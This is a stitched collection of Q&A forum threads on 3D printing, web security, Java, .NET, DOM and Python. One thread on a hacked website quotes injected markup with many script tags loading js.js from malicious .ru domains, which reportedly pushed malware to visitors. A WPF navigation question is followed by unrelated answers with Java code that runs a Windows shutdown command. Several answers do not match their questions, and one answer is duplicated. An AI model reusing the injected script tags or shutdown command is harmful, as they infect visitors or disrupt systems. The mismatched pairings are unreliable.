<p>Don't over dip the part in acetone, you can't go back. You don't want to lose the form of your print. You can always dip again. Forget the heat acetone method or cool acetone vapor method that takes hours. Recommend doing it OUTDOORS and perhaps a gas mask and eye protection, acetone is very thin and splashes no matter how careful you are. I tried brushing it on but the results were not very consistent. ABS floats in acetone so consider how your going to get the part submerged and then subsequently out without leaving huge finger prints. Practice on a few small prints or even scrap models and failed prints. Strangely, nobody suggests this method in forums. It's much faster and easier than the other vapor methods. The dry out time isn't fast but you don't have to watch it the whole time. </p>
<p>Always be safe and keep acetone away from any ignition source such as an open flame and ensure proper ventilation. 100% Acetone is used in millions of salons every day, safely. Heating acetone up in an enclosed space has severely injured people so I don't recommend adding any heat source.</p>
<p>Acetone evaporates in water at the same rate as not in water (open air) so I'm going to try mixing water and acetone to slow the smoothing for better control and a larger bath. Even medium sized parts need a good deal of acetone to completely submerge them. Also, you can try doing one side and recording the seconds submerged. Then when it's dried out, dip the other side the same amount of time.</p>
<p>Edit:</p>
<p>Sure! I just did two scrap pieces since you asked. It's very difficult to capture gloss. These were about 15 seconds in acetone rotating them to get even coverage in acetone since the bath wasn't large enough to fully submerge them. This method can leave blemishes but these are warped or failed prints anyway. I enhanced one picture to try to show layer detail. <img src="https://i.stack.imgur.com/f6HaT.jpg" alt="enter image description here"><img src="https://i.stack.imgur.com/nf6EI.jpg" alt="enter image description here"><img src="https://i.stack.imgur.com/yUGc6.jpg" alt="enter image description here"><img src="https://i.stack.imgur.com/BKMQQ.jpg" alt="enter image description here"></p>
| 110
|
<p>I'm fairly new to 3D printing but I'm getting the steam up and I chug out pieces without much hassle. One thing though is that I have the impression that sometimes, parts are easily broken, and I suspect bad adhesion between layers.</p>
<p>I'm printing eSun PLA at 208 °C (212 °C first layer), bed at 50 °C first layer then 30 °C.</p>
<p>When I print the Benchy boat, it feels extremely sturdy (even the small chimney is unbreakable by hand), but if I make, say, a 50 mm diameter cylinder with 4 mm wall thickness, It breaks fairly easy along some layer. I don't see any specific error, it "looks" okay.</p>
<p>So my question is:</p>
<p>How do you assure that you print layers that bond enough?</p>
<p>[Edit] I already know that might actually cause bad bonding (low heat, underextrusion, ...) but I'm looking for a way to see when it happens.</p>
<p>Here is an image from when I stopped mid print (you can see the little ooze string just at the start at the crack) for checking dimensions. The next layer didn't bond well because, I guess, the already printed part had cooled down when I un-paused the print (say 1 minute later) or maybe the z-axis went off a bit when I touched the build plate.</p>
<p><a href="https://i.stack.imgur.com/v9shu.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/v9shu.jpg" alt="Sorry for the bad quality, I forced a screwdriver in the crack for visibility"></a></p>
<p>Is the only way of knowing layers bonded correctly, to try to break the part apart?</p>
|
<p>I think the reason why the large cylinder is breaking much easier than the smokestack would is because of leverage. If you print the same cylinder at a much smaller scale it might be more difficult to break it. Think of taking a wooden stick, if you try to snap it by holding both hands near the center, it would be difficult but if you push on the very ends, the leverage will make it easier to snap. I have the tug boat on my desk right now and I was unable to snap it, instead I broke the cabin section just right above the steering wheel.</p>
<p>Now to answer your question. One of the faults in larger prints having weak layer adhesion could be a number of things. I think a common fault is under extrusion. If the nozzle has a high enough gap from the previous layer and it extrudes just enough filament to touch the layer but not necessarily push it snug, it could be a weak bond. This is like tape, usually when you want to make sure it will stay stuck, you press hard and rub it in. So I imagine filament shouldn't loosely flow onto layers but instead be pressed hard against the previous layers. Visually this is hard to judge but I noticed getting my first layer very close to the print bed makes every other layer stick very stronger on the previous one. You get a small skirt on the first layer but it does tend to give me a stronger bond between layers. You can easily slice off the skirt with a blade. Increasing the extrusion multiplier could give the same affect without needing to adjust bed height/leveling, but this can end up giving you some nasty walls. </p>
<p>Another thing I recommend is to check your Z-axis. This is difficult to measure and best to find out by print quality on tall structures. On my first printer I had the issue where my threaded Z-rods would bind and cause one of the two rods to get a slight bit ahead. This caused a layer split focused on the side opposite of the faulty rod. This made many prints very prone to breaking at that point. I had to rebuild my Z-axis assembly to correct this.</p>
<p>Print temperature can help, try raising it up by 5 to see if this improves the bonding.</p>
<p>Lastly, try another filament. Filament tends to go bad due to moisture exposure, that is why usually you receive it airtight with a small bag of silica to absorb moisture. If I use filament which has been sitting out for months, just squeezing my part separates the layers in almost a slinky kind of way. </p>
|
<p>From my experience the most profound difference is in the material. Especially with eSun PLA that I have used over 10 spools I have found huge inconsistencies. In one spool the printing adhesion was fine on other spools it was very very bad. My first advise is try another branded filament, I would recomend Colorfabb, Polymaker and Formfutura for PLAs. Secondly if you want to use the eSUN try higher temperatures, go above 210 or even 220.</p>
| 745
|
<p>Which type of filament material(s) is safe to use as an in-wall box for regular, 120v wiring? For instance, an electrical outlet box.</p>
<p>In case it matters, location is the state of Washington, USA.</p>
|
<h1>Safety is not the same as legality</h1>
<p>Something might be perfectly safe, but it doesn't make it legal to do or allowed to use. Parking your car over double-yellow lines is one example that is perfectly safe but violates the traffic codes.</p>
<p>Any 3D printed box would violate for example <a href="https://app.leg.wa.gov/wac/default.aspx?cite=296-46B-300" rel="nofollow noreferrer">WAC 296-46B-300</a>, as it isn't in compliance with NEC Class 3 Standard.</p>
<blockquote>
<p>(1) Cables and raceways for power limited, NEC Class 2 and Class 3 conductors must be installed in compliance with Chapter 3 NEC unless other methods are specifically required elsewhere in the NEC, chapter 19.28 RCW, or this chapter.</p>
</blockquote>
<p>The NEC is also known as NFPA 70, and availeable at the Website of the <a href="https://www.nfpa.org/codes-and-standards/all-codes-and-standards/list-of-codes-and-standards?mode=code&code=70&tab=editions" rel="nofollow noreferrer">National Fire Protection Agency</a>. You will need to look in Article 725.3 for the exact, current specifications that a cable box would need to follow.</p>
<blockquote>
<p><strong>725.3 Other Articles.</strong> Circuits and equipment shall comply with the articles or sections listed in 725.3(A) through (N). Only those sections of Article 300 referenced in this article shall apply to Class 1, Class 2, and Class 3 circuits.</p>
</blockquote>
<p><em>Also</em> note, that mains wire work is usually regulated in how it has to be done and you might (in some areas) not even be allowed to do it yourself! Even if you may do it, it might be inadvisable to do so due to insurance reasons: non-professional wiring or non-standard parts can be usually excluded from coverage.</p>
|
<p>I haven't tested the commercial "blue boxes" used to hold 120/240 V electrical outlets, switches, and splices to see how they behave when heated. As such, this argument is based on intuition, which is intrinsically flawed as a logic device. Never-the-less, I think the no extruded molten plastic (FFF) 3D printing filament will work.</p>
<p>The purpose of the junction box is to contain an overheating connection or switch and prevent it from causing a fire in the wall. Any FFF filament will have a melting point below the ignition point of wood, and would therefore flow away from the overheating point. It seems that any thermoplastic with a "normal" melting point would have this problem.</p>
<p>You might look at UV polymerized printing resins, such as are used in the Stratasys Objet, Form Labs, and Prusa SL1. These printing processes aren't constrained to use plastics that can be melted or heat softened. Because the polymerization can involve more aggressive crosslinking (polymerization) that FFF materials, they have the potential to be good for a higher temperature. </p>
<p>As an example of a high-temperature, non-melting plastic which could perhaps have an analogue in SLS resin, polyester "casting compound" is cross linked by a methyl-ethyl-ketone-peroxide catalyst to form clear solid. 24 hours after the polymerization starts, the solid does not melt under the influence of a hot air gun. I tried to melt it and it would not melt. It slightly softened, but the plastic cup I had cast it in was dripping away -- but the polyester was not melting.</p>
<p>I looked through the Stratasys materials and Form Labs materials and did not see a much higher temperature material.</p>
| 1,562
|
<p>My dad called me today and said people going to his website were getting 168 viruses trying to download to their computers. He isn't technical at all, and built the whole thing with a WYSIWYG editor.</p>
<p>I popped his site open and viewed the source, and there was a line of Javascript includes at the bottom of the source right before the closing HTML tag. They included this file (among many others): <a href="http://www.98hs.ru/js.js" rel="noreferrer">http://www.98hs.ru/js.js</a> <-- <strong>TURN OFF JAVASCRIPT BEFORE YOU GO TO THAT URL.</strong></p>
<p>So I commented it out for now. It turns out his FTP password was a plain dictionary word six letters long, so we think that's how it got hacked. We've changed his password to an 8+ digit non-word string (he wouldn't go for a passphrase since he is a hunt-n-peck typer).</p>
<p>I did a <a href="http://whois.domaintools.com/98hs.ru" rel="noreferrer">whois on 98hs.ru</a> and found it is hosted from a server in Chile. There is actually an e-mail address associated with it too, but I seriously doubt this person is the culprit. Probably just some other site that got hacked...</p>
<p>I have no idea what to do at this point though as I've never dealt with this sort of thing before. Anyone have any suggestions?</p>
<p>He was using plain jane un-secured ftp through webhost4life.com. I don't even see a way to <em>do</em> sftp on their site. I'm thinking his username and password got intercepted?</p>
<p><strong>So, to make this more relevant to the community, what are the steps you should take/best practices you should follow to protect your website from getting hacked?</strong></p>
<p>For the record, here is the line of code that "magically" got added to his file (and isn't in his file on his computer -- I've left it commented out just to make absolute sure it won't do anything on this page, although I'm sure Jeff would guard against this):</p>
<pre><code><!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script-->
</code></pre>
|
<p>Try and gather as much information as you can. See if the host can give you a log showing all the FTP connections that were made to your account. You can use those to see if it was even an FTP connection that was used to make the change and possibly get an IP address.</p>
<p>If you're using a prepacked software like Wordpress, Drupal, or anything else that you didn't code there may be vulnerabilities in upload code that allows for this sort of modification. If it is custom built, double check any places where you allow users to upload files or modify existing files.</p>
<p>The second thing would be to take a dump of the site as-is and check everything for other modifications. It may just be one single modification they made, but if they got in via FTP who knows what else is up there.</p>
<p>Revert your site back to a known good status and, if need be, upgrade to the latest version.</p>
<p>There is a level of return you have to take into account too. Is the damage worth trying to track the person down or is this something where you just live and learn and use stronger passwords?</p>
|
<p>We had been hacked from same guys apparently! Or bots, in our case. They used SQL injection in URL on some old classic ASP sites that nobody maintain anymore. We found attacking IPs and blocked them in IIS. Now we must refactor all old ASP.
So, my advice is to take a look at IIS logs first, to find if problem is in your site's code or server configuration.</p>
| 2,510
|
<p>I've actually solved this, but I think its still a useful question which I don't think is easy to answer with existing questions.</p>
<p>As soon as I'd built my ANET-A8 (Prusa i3 DIY kit), I found I was having problems with the extruder crashing into the bed. Although I thought I'd adjusted the bed leveling OK, the calibration seemed to keep getting messed up.</p>
<p>I tracked this down to two factors. First, I was winding the extruder head up some distance before loading the filament and starting a print. Second, at roughly half-way up the axis, the right-hand thread seemed to be getting stuck (more often when moving up than down).</p>
<p>What wasn't clear (and not mentioned in the building instructions) was what might cause this problem.</p>
|
<p>I assume you did everything according to the instructions but here is a checklist of what could be possibly wrong:</p>
<ol>
<li>Friction - check if you can rotate/move parts without lot of resistance</li>
<li>Screws - check if screws on couplings are tight and they don't slide over a shaft or thread</li>
<li>Stepsticks - check if they are cooled properly and similar (as there are two of them)</li>
<li>Carriage nuts on threads - check if they do not slide out of their nests while [the x-axis] carriage goes up</li>
<li>Filament - check if filament unrolls without resistance which can eventually cause [the x-axis] carriage to hang.</li>
</ol>
<p>IMO #2 and #3 are the most possible cause</p>
<p><a href="https://i.stack.imgur.com/4Hd33.png" rel="noreferrer"><img src="https://i.stack.imgur.com/4Hd33.png" alt="Diagram of issues 1, 2 and 5"></a></p>
|
<p>From <a href="http://3daddict.com/anet-3d-printer-common-mistakes-fix/" rel="nofollow noreferrer">http://3daddict.com/anet-3d-printer-common-mistakes-fix/</a></p>
<p>The motor shaft and the threading rod must have space between them in the flexible coupler.</p>
<p>That means unlocking the coupler from the motor shaft and moving it up a bit, in the end the threaded rod nearly touches the printer top hole instead of having like a 1cm gap.
This will allow the coupler to flex, and thus should handle small misalignments of the brass nut.</p>
<p>That's about point 2 of @darth-pixel answer, but before locking the screws, make sure to have empty space between rod and motor shaft</p>
| 427
|
<p>I need to to print natural nos. 1,2,...n such that the parent process prints all odd numbers and the child process prints all even numbers, and all of this needs to be done using POSIX signals. How would I go about accomplishing this?</p>
<p>The output should be:</p>
<p>Parent : 1<br>
Child : 2<br>
Parent : 3<br>
...</p>
|
<p>I think this homework assignment was given to you to make you try a lot of solution and conclude by yourself that <strong>signals are not a good synchronisation technique</strong>.</p>
<p>This an invaluable lesson, remember it well and use semaphores from now on! :)</p>
|
<p>I think this homework assignment was given to you to make you try a lot of solution and conclude by yourself that <strong>signals are not a good synchronisation technique</strong>.</p>
<p>This an invaluable lesson, remember it well and use semaphores from now on! :)</p>
| 5,587
|
<p>I want to catch the NavigationService.Navigating event from my Page, to prevent the user from navigating forward. I have an event handler defined thusly:</p>
<pre><code>void PreventForwardNavigation(object sender, NavigatingCancelEventArgs e)
{
if (e.NavigationMode == NavigationMode.Forward)
{
e.Cancel = true;
}
}
</code></pre>
<p>... and that works fine. However, I am unsure exactly where to place this code:</p>
<pre><code>NavigationService.Navigating += PreventForwardNavigation;
</code></pre>
<p>If I place it in the constructor of the page, or the Initialized event handler, then NavigationService is still null and I get a NullReferenceException. However, if I place it in the Loaded event handler for the Page, then it is called every time the page is navigated to. If I understand right, that means I'm handling the same event multiple times. </p>
<p>Am I ok to add the same handler to the event multiple times (as would happen were I to use the page's Loaded event to hook it up)? If not, is there some place in between Initialized and Loaded where I can do this wiring?</p>
|
<p>Create your own function to execute an OS command through the <a href="http://www.computerhope.com/shutdown.htm" rel="nofollow noreferrer">command line</a>?</p>
<p>For the sake of an example. But know where and why you'd want to use this as others note.</p>
<pre><code>public static void main(String arg[]) throws IOException{
Runtime runtime = Runtime.getRuntime();
Process proc = runtime.exec("shutdown -s -t 0");
System.exit(0);
}
</code></pre>
|
<p>On Windows Embedded by default there is no shutdown command in cmd.
In such case you need add this command manually or use function ExitWindowsEx from win32 (user32.lib) by using JNA (if you want more Java) or JNI (if easier for you will be to set priviliges in C code).</p>
| 4,523
|
<p>We are investigating using CruiseControl.NET as both a Continues Integration build provider, as well as automating the first part of our deployment process.</p>
<p>Has anyone modified CruiseControl.NET's dashboard to add custom login and user roles (IE, Separate out access to forcing a build to only certain individuals on a per project basis?</p>
<p>The dashboard is a .NET App, but I believe it uses the nVelocity view engine instead of web forms, which I don't have experience with.</p>
<p>Can you mix nVelocity and Webforms,or do I need to spend a day learning something new =)</p>
|
<p>Why do you need to? Do you really need to limit users in the way with an integration server. I think that's why CC.Net doesn't have that sort of support built in.</p>
<p>You can always see who forced a build, and control it that way.</p>
<p>I find that continuous integration works best with regular builds and regular unit test runs (our rather large C# app + test run takes 25 mins and checks hourly), so for me forcing a build is rarely an issue.</p>
<p>If you want some users to have some kind of report-only access you could limit them so that they can't access the CC.Net web application at all. </p>
<p>All the results (MSBuild, NCover, NUnit, FxCop, etc) are in XML, so you can build relativity simple report pages out of XSLT.</p>
|
<p>@Keith:</p>
<p>We are leveraging CC.NET to both run a CI build, as well as being able to use the Force Build feature to do a Build + Deploy. That is why we want hands off the dashboard.</p>
<p>I found this morning that I was able to place CCNET in a virtual directory within another web app, This allowed me to setup Forms Authentication, and let the root app manage that. Problem solved.</p>
| 3,871
|
<p>I got embroiled in a discussion about DOM implementation quirks yesterday, with gave rise to an interesting question regarding Text.splitText and Element.normalise behaviours, and how they should behave.</p>
<p>In <a href="http://www.w3.org/TR/1998/REC-DOM-Level-1-19981001/level-one-core.html" rel="nofollow noreferrer">DOM Level 1 Core</a>, Text.splitText is defined as...</p>
<blockquote>
<p>Breaks this Text node into two Text nodes at the specified offset, keeping both in the tree as siblings. This node then only contains all the content up to the offset point. And a new Text node, which is inserted as the next sibling of this node, contains all the content at and after the offset point.</p>
</blockquote>
<p>Normalise is...</p>
<blockquote>
<p>Puts all Text nodes in the full depth of the sub-tree underneath this Element into a "normal" form where only markup (e.g., tags, comments, processing instructions, CDATA sections, and entity references) separates Text nodes, i.e., there are no adjacent Text nodes. This can be used to ensure that the DOM view of a document is the same as if it were saved and re-loaded, and is useful when operations (such as XPointer lookups) that depend on a particular document tree structure are to be used.</p>
</blockquote>
<p>So, if I take a text node containing "Hello World", referenced in textNode, and do</p>
<pre><code>textNode.splitText(3)
</code></pre>
<p>textNode now has the content "Hello", and a new sibling containing " World"</p>
<p>If I then</p>
<pre><code>textNode.parent.normalize()
</code></pre>
<p><em>what is textNode</em>? The specification doesn't make it clear that textNode has to still be a child of it's previous parent, just updated to contain all adjacent text nodes (which are then removed). It seems to be to be a conforment behaviour to remove all the adjacent text nodes, and then recreate a new node with the concatenation of the values, leaving textNode pointing to something that is no longer part of the tree. Or, we can update textNode in the same fashion as in splitText, so it retains it's tree position, and gets a new value.</p>
<p>The choice of behaviour is really quite different, and I can't find a clarification on which is correct, or if this is simply an oversight in the specification (it doesn't seem to be clarified in levels 2 or 3). Can any DOM/XML gurus out there shed some light?</p>
|
<p>I was on the DOM Working Group in the early days; I'm sure we <em>meant</em> for textNode to contain the new joined value, but if we didn't <em>say</em> it in the spec, it's possible that <em>some</em> implementation <em>might</em> create a new node instead of reusing textNode, though that would require more work for the implementors.</p>
<p>When in doubt, program defensively.</p>
|
<p>While it would seem like a reasonable assumption, I agree that it is not explicityly made clear in the specification. All I can add is that the way I read it, one of either <code>textNode</code> or it's new sibling (i.e. return value from <code>splitText</code>) would contain the new joined value - the statement specifies that all nodes <em>in the sub-tree</em> are put in normal form, not that the sub-tree is normalised to a new structure. I guess the only safe thing is to keep a reference to the parent before normalising.</p>
| 4,989
|
<p>I've just received my Ender 3v2 and tried multiple SD cards, all have been formatted to FAT32 with no luck. Under the Print selection, all I get is the back button. I looked and I have the V4.2.2 and the firmware is up to date, Showing 1.0.2 unless this is not right and this is why I'm having this issue. Even when plugging directly into the computer, nothing is showing up.</p>
|
<p>Abd to follow along with J Boughtons advice, I've noticed if the word "end" is in the first file, it won't read any of the files.</p>
|
<p>I have the same issue but whilst none of these worked for me they have worked for other people:</p>
<ul>
<li>Make sure the name of the G-code file begins with a letter or number</li>
<li>Make sure the G-code is not in a subfolder</li>
<li>Make sure the name of the G-code file is less than or equal to 8 characters long</li>
</ul>
<p>After I attempted all of these, reinserting the SD card multiple times worked but I don't know what fixed it or if it was just I had been putting it in wrong though I didn't try anything different.</p>
| 1,906
|
<p>Given a 3D boolean array representing voxels, how can it be converted to a 3D-printer-ready file?</p>
<p>The end-goal I would like to achieve is to print the 3D shape that the numpy array represents (<code>True</code> coding for <em>fill this voxel</em>, <code>False</code> for <em>leave it empty</em>).</p>
<p>For example, the array</p>
<pre><code>[
[
[T, T, T],
[T, F, T],
[T, T, T]
],
[
[T, F, T],
[F, F, F],
[T, F, T]
],
[
[T, T, T],
[T, F, T],
[T, T, T]
]
]
</code></pre>
<p>would encode a <a href="https://en.wikipedia.org/wiki/Void_Cube" rel="nofollow noreferrer">level-1 Menger sponge</a>.</p>
|
<p>I agree with the use of OpenSCAD, but since it is difficult to program in OpenSCAD, I would use <a href="https://github.com/SolidCode/SolidPython" rel="nofollow noreferrer">SolidPython</a>, which is a front end for OpenSCAD with the full programming capability of Python.</p>
<p>In the alternative, you could use any programming language to decode your arrays and generate the OpenSCAD code for the little network of cubes (or voxels).</p>
<p>The final possibility is to generate an STL file directly. I've helped someone do this, but we found the rules to be a little non-intuitive. We used mesh tools to check out results, both by looking for error messages, and by displaying the result to see if it looked as we intended it to look.</p>
|
<p>Try voxelfuse.</p>
<pre><code> from voxelfuse.voxel_model import VoxelModel
from voxelfuse.mesh import Mesh
from voxelfuse.primitives import generateMaterials
if __name__=='__main__':
sponge = [
[
[1, 1, 1],
[1, 0, 1],
[1, 1, 1]
],
[
[1, 0, 1],
[0, 0, 0],
[1, 0, 1]
],
[
[1, 1, 1],
[1, 0, 1],
[1, 1, 1]
]
]
model = VoxelModel(sponge, generateMaterials(4)) #4 is aluminium.
mesh = Mesh.fromVoxelModel(model)
mesh.export('mesh.stl')
</code></pre>
| 1,343
|
<p>I'm trying to attach an instance of UIScrollbar component to a dynamic text field inside of an instance of a class that is being made after some XML is loaded. The scroll bar component is getting properly attached, as the size of the slider varies depending on the amount of content in the text field, however, it won't scroll.</p>
<p>Here's the code:</p>
<pre><code>function xmlLoaded(evt:Event):void
{
//do some stuff
for(var i:int = 0; i < numProfiles; i++)
{
var thisProfile:profile = new profile();
thisProfile.alpha = 0;
thisProfile.x = 0;
thisProfile.y = 0;
thisProfile.name = "profile" + i;
profilecontainer.addChild(thisProfile);
thisProfile.profiletextholder.profilename.htmlText = profiles[i].attribute("name");
thisProfile.profiletextholder.profiletext.htmlText = profiles[i].profiletext;
//add scroll bar
var vScrollBar:UIScrollBar = new UIScrollBar();
vScrollBar.direction = ScrollBarDirection.VERTICAL;
vScrollBar.move(thisProfile.profiletextholder.profiletext.x + thisProfile.profiletextholder.profiletext.width, thisProfile.profiletextholder.profiletext.y);
vScrollBar.height = thisProfile.profiletextholder.profiletext.height;
vScrollBar.scrollTarget = thisProfile.profiletextholder.profiletext;
vScrollBar.name = "scrollbar";
vScrollBar.update();
vScrollBar.visible = (thisProfile.profiletextholder.profiletext.maxScrollV > 1);
thisProfile.profiletextholder.addChild(vScrollBar);
//do some more stuff
}
}
</code></pre>
<p>I've also tried it with a UIScrollBar component within the movieclip/class itself, and it still doesn't work. Any ideas?</p>
|
<p>You might try adding the scrollbar once your textfield is initialized from a separate function similar to this:</p>
<pre><code>private function assignScrollBar(tf:TextField, sb:UIScrollBar):void {
trace("assigning scrollbar");
sb.move(tf.x + tf.width, tf.y);
sb.setSize(15, tf.height);
sb.direction = ScrollBarDirection.VERTICAL;
sb.scrollTarget = tf;
addChild(sb);
sb.update();
}
</code></pre>
<p>That is how I currently doing it.</p>
|
<p>Have you tried putting the UI scrollbar onto the stage, binding it to the textfield at design time, and then calling update() during the loaded event?</p>
<p>I have had some <em>interesting</em> experiences in the past with dynamically creating UIScrollbars at runtime.</p>
| 8,115
|
<p>I'm building a website that requires very basic markup capabilities. I can't use any 3rd party plugins, so I just need a simple way to convert markup to HTML. I might have a total of 3 tags that I'll allow.</p>
<p>What is the best way to convert <code>==Heading==</code> to <code><h2>Heading</h2></code>, or <code>--bold--</code> to <code><b>bold</b></code>? Can this be done simply with Regex, or does somebody have a simple function?</p>
<p>I'm writing this in C#, but examples from other languages would probably work.</p>
|
<p>It's not really a simple problem, because if you're going to display things back to the user, you'll need to also sanitise the input to ensure you don't create any <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" rel="nofollow noreferrer">cross site scripting</a> vulnerabilities.</p>
<p>That said, you could probably do something pretty simple as you describe most easily with a regular expression replacement.</p>
<p>For example</p>
<pre><code>replace the pattern ==([^=]*)== with <h2>\1</h2>
</code></pre>
|
<p>This really depends on the Wiki syntax you're using as there are several different ones. Obviously the wiki software has this functionality somewhere; if you can't find a software package that does this for you, you could start looking for the relevant code in your wiki software.</p>
| 6,802
|
<p>It seems to me that the size of hole in the nozzle shouldn't matter in and of itself. If you program in the layer height and line width, then the same amount of plastic has to be extruded, no matter what size the hole is in the nozzle. </p>
<p>Of course I understand that, mechanically, the best results are got with the line width slightly larger than the nozzle size. We couldn't print a 0.3 mm line with a 0.6 mm nozzle, and trying to print a 1 mm line with a 0.4 mm nozzle probably wouldn't work well either. But in terms of what the actual G-code needs to do, the nozzle size doesn't seem to matter. After all, printers feed filament based on length/volume, so the size of the nozzle shouldn't impact the amount of plastic extruded. </p>
<p>What prompted this question: I want to switch from a 0.4 mm nozzle to a 0.8 mm nozzle, but I cannot find out how to change the nozzle size in Cura. There are many bug reports about the nozzle size setting disappearing or not displaying in Cura, and I think that's my problem. However, in the troubleshooting threads, many people claim that you can just change the line width and ignore the nozzle size completely and the result will be the same. In other words, if I want to switch from 0.4 nozzle and 0.48 line width, to 0.8 nozzle and 1 mm line width, I can just keep my slicer set to 0.4 nozzle size, but increase the line width to 1 mm, and if I physically install a 0.8 mm nozzle, it will do exactly the same thing. There are even Cura developers saying the nozzle size setting will be removed in a future version completely. </p>
<p>This may depend on the way individual slicers work. Has anyone tried switching between say 0.4 and 0.6 nozzle settings, while leaving the line width the same (say 0.8 mm line width for both), and see any differences in the G-code? I can't test this myself, because I can't change the nozzle size right now...</p>
|
<p>CNC kitchen tested various extrusion widths with various nozzles and in fact there's no difference, only the line width matters.
<a href="https://www.cnckitchen.com/blog/big-nozzles-how-do-they-make-your-3d-prints-stronger" rel="nofollow noreferrer">https://www.cnckitchen.com/blog/big-nozzles-how-do-they-make-your-3d-prints-stronger</a></p>
<p>Of course it's up to you to avoid too thick layers with small nozzles.</p>
|
<p>I’m using sli3r. It use nozzle size for some auto value like auto extrusion width which calculate by 105% of nozzle diameter and prevent some error like setting layer height greater than nozzle diameter.</p>
| 1,655
|
<p>How do I exit a script early, like the <code>die()</code> command in PHP?</p>
|
<pre><code>import sys
sys.exit()
</code></pre>
<p>details from the <a href="https://docs.python.org/2/library/sys.html#sys.exit" rel="noreferrer"><code>sys</code> module documentation</a>:</p>
<blockquote>
<p><code>sys.<strong>exit</strong>([<em>arg</em>])</code></p>
<p>Exit from Python. This is implemented by raising the
<a href="https://docs.python.org/2/library/exceptions.html#SystemExit" rel="noreferrer" title="SystemExit"><code>SystemExit</code></a> exception, so cleanup actions specified by finally clauses
of <a href="https://docs.python.org/2/reference/compound_stmts.html#try" rel="noreferrer" title="try"><code>try</code></a> statements are honored, and it is possible to intercept the
exit attempt at an outer level.</p>
<p>The optional argument <em>arg</em> can be an integer giving the exit status
(defaulting to zero), or another type of object. If it is an integer,
zero is considered “successful termination” and any nonzero value is
considered “abnormal termination” by shells and the like. Most systems
require it to be in the range 0-127, and produce undefined results
otherwise. Some systems have a convention for assigning specific
meanings to specific exit codes, but these are generally
underdeveloped; Unix programs generally use 2 for command line syntax
errors and 1 for all other kind of errors. If another type of object
is passed, None is equivalent to passing zero, and any other object is
printed to <a href="https://docs.python.org/2/library/sys.html#sys.stderr" rel="noreferrer" title="sys.stderr"><code>stderr</code></a> and results in an exit code of 1. In particular,
<code>sys.exit("some error message")</code> is a quick way to exit a program when
an error occurs.</p>
<p>Since <a href="https://docs.python.org/2/library/constants.html#exit" rel="noreferrer" title="exit"><code>exit()</code></a> ultimately “only” raises an exception, it will only exit
the process when called from the main thread, and the exception is not
intercepted.</p>
</blockquote>
<p>Note that this is the 'nice' way to exit. @<a href="https://stackoverflow.com/questions/73663/terminating-a-python-script#76374">glyphtwistedmatrix</a> below points out that if you want a 'hard exit', you can use <code>os._exit(*errorcode*)</code>, though it's likely os-specific to some extent (it might not take an errorcode under windows, for example), and it definitely is less friendly since it doesn't let the interpreter do any cleanup before the process dies. On the other hand, it <em>does</em> kill the entire process, including all running threads, while <code>sys.exit()</code> (as it says in the docs) only exits if called from the main thread, with no other threads running.</p>
|
<p>Just put at the end of your code <code>quit()</code> and that should close a python script.</p>
| 9,938
|
<p>Is there a way using Python's standard library to easily determine (i.e. one function call) the last day of a given month?</p>
<p>If the standard library doesn't support that, does the dateutil package support this?</p>
|
<p><a href="https://docs.python.org/library/calendar.html#calendar.monthrange" rel="noreferrer"><code>calendar.monthrange</code></a> provides this information:</p>
<blockquote>
<p>calendar.<b>monthrange</b>(year, month)<br>
Returns weekday of first day of the month and number of days in month, for the specified <em>year</em> and <em>month</em>.</p>
</blockquote>
<pre><code>>>> import calendar
